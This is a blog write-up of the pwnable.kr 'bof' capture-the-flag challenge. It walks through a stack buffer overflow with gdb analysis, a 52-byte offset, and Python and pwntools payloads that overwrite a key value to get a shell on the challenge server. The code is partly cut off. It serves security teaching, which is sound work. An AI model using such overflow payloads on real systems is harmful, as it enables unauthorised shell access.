Pwnable.kr - bof
We continue our beginner series on Binary Exploitation with pwnable.kr which appears to have a reasonable curve of difficulty making it ideal for learning.
Let’s go for this 3rd challenge: bof.
Challenge Description
Bof
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.cRunning at : nc pwnable.kr 9000
Buffer Overflow
If you are unfamiliar with Buffer Overflow I recommend you to read my previous series of what a buffer overflow is and how it can be exploited.
With that in mind, let’s begin our analysis!
Test & Analysis
As usual, we can retrieve the binary and it’s source:
1 | [hg8@archbook ~]$ wget http://pwnable.kr/bin/bof |
The program simply takes an input and returns “Nah..”:
1 | [hg8@archbook ~]$ ./bof |
If we input a longer string, the program crash:
1 | [hg8@archbook ~]$ ./bof |
Source Code Analysis
The source code is quite straightforward and consist in 2 functions only:
1 |
|
Let’s break it down:
1 | int main(int argc, char* argv[]){ |
The main function calls the func
function with 0xdeadbeef
has a parameter.
1 | void func(int key){ |
Function func
proceeds to get user input and store it in a 32 bytes buffer. It then proceeds to compare the function parameter key
to 0xcafebabe
value and open a shell if the comparison succeeds.
However we don’t have any control over key
variable, since it’s hard-coded and sent by the main function with value 0xdeadbeef
.
We can already see where we will need to exploit the program. We need to overflow the overflowme
buffer until the key
memory address. This way we should be able to overwrite key
value with 0xcafebabe
making the comparison succeed and dropping us a shell to read the challenge flag.
So that was the theory, let’s now see in practice how we can achieve this.
Dynamic Analysis
We will start with the usual dynamic analysis using gdb
to understand what is happening under the hood.
Let’s start by disassembling main()
:
1 | (gdb) disassemble main |
We can see 0xdeadbeef
being moved to esp
register before the function func
is called:
1 | 0x56555693 <+9>: mov DWORD PTR [esp],0xdeadbeef |
In the disassembly of func
we can find another reference to 0xdeadbeef
.
1 | (gdb) disassemble func |
It’s the compare instruction we are looking for (which correspond to key == 0xcafebabe
):
1 | 0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe |
Let’s put a breakpoint on the comparison and run the program:
1 | (gdb) break *0x56555654 |
From the comparison instruction, we know that 0xdeadbeef
is stored at ebp+0x8
, at 0xffffc860
memory address:
1 | (gdb) x $ebp+0x8 |
The overflowme
variable is located at ebp-0x2c
based on the LEA instruction. Since it’s a local variable, it’s on a negative offset from ebp
:
1 | 0x56555649 <+29>: lea eax,[ebp-0x2c] |
1 | (gdb) x/s $ebp-0x2c |
Now we need to know what’s the distance in memory between overflowme
and key
since we will have to overflow overflowme
buffer to overwrite key
content with cafebabe
value:
1 | [hg8@archbook ~]$ python3 -c "print(0xffffc860 - 0xffffc82c)" |
52 bytes!
If you are a more visual person, you can see in memory the distance between our input in overflowme
variable and the key
variable containing 0xdeadbeef
we are trying to overwrite:
Exploitation
Manual exploitation
Ok, we now have all the needed information. Our payload will consist of 52 bytes of random characters followed by 0xcafebabe
. However since C uses the little endian format for int, we need to reverse the byte order to \xbe\xba\xfe\xca
.
Using python3 we can build the following payload:
1 | import sys |
Let’s try it!
1 | [hg8@archbook ~]$ python3 payload.py| ./bof |
Bummer, nothing happened…
Well, taking a closer look at the C source code we quickly realize this is an expected behavior; indeed the system("/bin/sh");
called a shell but didn’t get any input and terminated.
The trick here is to use cat
so we can have the shell to listen to our input and not terminate the process:
1 | [hg8@archbook ~]$ (python3 payload.py;cat)| ./bof |
Bingo! We can now try against the instance running on pwable.kr:
1 | [hg8@archbook ~]$ (python3 payload.py;cat) | nc pwnable.kr 9000 |
Using pwntools
Exploitation is quite straightforward using pwntools
.
First we build our payload the same way as earlier:
1 | payload = b"\x41"*52 |
Then we just forward it to the server and open an interactive session:
1 | io = remote('pwnable.kr', 9000) |
Final script:
1 | #!/usr/bin/env python |
Running it:
1 | [hg8@archbook ~]$ python3 exploit.py |
That’s it folks! I hope you enjoyed this series on Buffer Overflow.
As always do not hesitate to contact me for any questions or feedback!
See you next time ;)
-hg8